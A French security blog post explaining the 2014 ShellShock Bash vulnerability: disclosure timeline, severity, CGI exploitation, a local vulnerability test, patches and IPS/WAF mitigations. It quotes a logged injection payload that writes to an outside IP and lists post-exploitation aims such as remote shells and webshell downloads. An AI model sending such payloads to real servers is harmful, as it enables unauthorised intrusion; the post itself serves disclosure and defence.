ShellShock, la faille Bash qui fait parler d’elle

ShellShock, le nom qui résonne aux oreilles des sysadmins et maintenant du grand public depuis bientôt une semaine.

Beaucoup de choses ont déjà été dites sur ces vulnérabilités. Je vous propose dans ce billet un condensé des informations pour ceux qui l’auraient raté (en fait ceux qui habitent dans une grotte au fin fond du Gévaudan … ;)).

Petit Timeline

  • Vendredi 12 Septembre / Découverte
    Stéphane Chazelas (Akamai) découvre une vulnérabilité dans Bash, un interpréteur de commandes utilisé dans un large nombre de distributions Linux mais également sous Mac OSX.Il contacte alors Chet Ramey, responsable du code source de Bash dans la nuit afin de lui faire part de sa découverte.Les deux hommes contactent ensuite à leur tour les personnes compétentes responsables d’infrastructures critiques et les distributeurs des projets Debian, Red Hat, Ubuntu, SuSE et Mandriva. Opération menée avec l’aide Florian Weimer, contributeur Debian et qui travaille pour Red Hat.Tout ceci s’effectue de manière très discréte afin de ne pas ébruiter la vulnérabilité et éveiller le moins de soupçons possibles, dans le but d’avoir un patch prêt lors de la publication de la vulnérabilité et limiter la casse si une telle vulnérabilité se retrouvait entre de mauvaises mains.La date de publication est fixée au 24 Septembre 2014.

  • Mercredi 24 Septembre / CVE-2014-6271
    La vulnérabilité est rendue publique ce jour là, Stéphane Chazelas qui lui avait donné le petit nom de Bashdoor, se verra damer le pion par le nom ShellShock, apparu sur Twitter dans la foulée.Les patchs sont déjà disponibles et les administrateurs invités à mettre à jour leurs systèmes rapidement.
  • Mercredi 24 Septembre / … et CVE-2014-7169
    Tavis Ormandy examine le patch et en s’inspirant de la vulnérabilité d’origine, en découvre une seconde dont il publie un exemple d’utilisation via un tweet. Cet exploit est fonctionnel malgré les correctifs apportés par la fournée de patchs publiés.
  • Vendredi 26 Septembre
    Les premiers patchs couvrant la vulnérabilité CVE-2014-7169 découverte par Tavis Ormandy sont publiés.Le même jour, David A. Wheeler et Norihiro Tanaka, deux contributeurs open source s’aperçoivent que les patchs proposés ne sont toujours pas efficaces à 100% et que boucher un trou d’un côté en laisse apparaitre d’autres petit à petit.
    Wheeler déclare «  »This patch just continues the ‘whack-a-mole’ job of fixing parsing errors that began with the first patch. Bash’s parser is certain [to] have many many many other vulnerabilities. »
  • Samedi 27 Septembre
    Michal Zalewski (Google) annonce avoir découvert plusieurs autres failles concernant Bash, dont une basée sur la compilation de Bash sans utiliser l’ASLR.

Le scoring CVSS de ces deux vulnérabilités est 10/10 (boom dans les dents Heartbleed !!).

https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169

Pourquoi ce 10/10 ?

Bash est globalement présent sur une grande partie des systèmes Linux/Unix ou basés sur ces OS (ex: de l’embarqué type appliances, objets connectés, du SCADA etc.)

Le problème et le pourquoi :

– la vulnérabilité peut être exploitée à distance
– la vulnérabilité touche toutes les versions de Bash avant la 4.3 (soit 25 ans ~ de versions)
– la vulnérabilité peut être exploitée AVANT authentification notamment
– la vulnérabilité est présente sur de multiples composants mais essentiellement des serveurs web qui embarquent des CGI (en fait TOUT script CGI qui fera appel à un moment ou un autre à Bash  …)

Pour en savoir plus sur l’origine de la faille, une exploration de la fonction qui pose problème dans le code source de Bash peut être consultée sur la plateforme StackExchange.

Scripts CGI ?

Dans le cas des sites CGI, les spécifications CGI précisent qu’un serveur web doit mapper certains éléments de requêtes web dans des variables d’environnements, accessibles au travers des fameux scripts CGI. Par exemple, le HOST HEADER va être mappé sur la variable d’environnement REMOTE_HOST.

Or de nombreux systèmes utilisent des données sous contrôle d’un utilisateur pour peupler ces variables d’environnement.Il y a d’ailleurs des cas dans lesquels il est possible qu’en utilisant certains headers spécifiques d’une requête HTTP, les tentatives d’exploitation ne soient même pas logguées.

C’est justement le problème car Bash ne parse pas correctement une variable d’environnement et continue en fait à traiter des données APRES la définition d’une fonction puis exécute le contenu qui s’en suit. Par exemple :

« GET / HTTP/1.1 » 301 438 « – » « () { :;}; echo shellshock-scan > /dev/udp/1.2.3.4/4444 »

Dès que Bash est utilisé avec une variable d’environnement au format « () { xxxx;} ; la_commande_malveillante » la fonction vulnérable parse puis exécute cette commande.

D’autres composants sont vulnérables dont :

– des clients DHCP qui dans certains cas exécutent des scripts bash avec des variables d’environnement fournies par un serveur … dans ce cas il faut tout de même être en capacité me monter un serveur DHCP malveillant (ex: pour le hotspot du coin ..)
– OpenSSH avec l’option SSH_ORIGINAL_COMMAND : http://www.openwall.com/lists/oss-security/2014/09/24/12

Qu’est-ce qu’on peut en faire ?

Quelques exemples de comportements envisageables suite à une exploitation réussie :

– publier le contenu de /etc/passwd
– télécharger un webshell ou autre contenu malveillant
– se connecter sur un socket distant et offrir un accès shell
– etc.

Suis-je vulnérable ?

Pour détecter si vous êtes vulnérables, tapper la commande suivante en shell (proposées par [1]) :

– env x='() { :;}; echo vulnerable’ bash -c « echo this is a test »

Si vous avez bien suivi, normalement le texte « this is a test » doit apparaître si vous êtes vulnérables.

Que faire ?

La bonne nouvelle est que de multiples patchs ont déjà été publiés :

– pour Debian (Wheezy et Squeeze LTS)
– pour RedHat

Par contre, ce n’est pas (encore) le cas pour tous les systèmes … :
http://support.f5.com/kb/en-us/solutions/public/15000/600/sol15629.html

Dans le cas de F5 on peut toutefois envisager de ne pas exposer son interface web d’admin sur une patte disponible sur Internet ? (ce qui constitue une bonne pratique de sécurité …)

Du coup il existe également des « mitigations », des contournements applicables en amont de vos systèmes si vous ne pouvez pas patcher ces derniers :

– sur des systèmes IPS type Snort ou Suricata : http://blog.snort.org/2014/09/snort-community-ruleset-out-of-band.html http://www.volexity.com/blog/?p=19
– sur des WAFs type mod_security : https://access.redhat.com/articles/1212303

Bref, il s’agit d’une vraie vulnérabilité bien critique et relativement latente dans le sens où il y a fort à parier que de nouvelles variantes seront publiées dans les mois à venir !

François Sopin / Julien Piat

[1] https://isc.sans.edu/diary/Update+on+CVE-2014-6271%3A+Vulnerability+in+bash+%28shellshock%29/18707

[2] https://community.qualys.com/blogs/securitylabs/2014/09/25/shellshock-is-your-webserver-under-attack

 

 

Vous avez aimé ? Partagez ce lien sur les réseaux sociaux :

Facebooktwitterlinkedin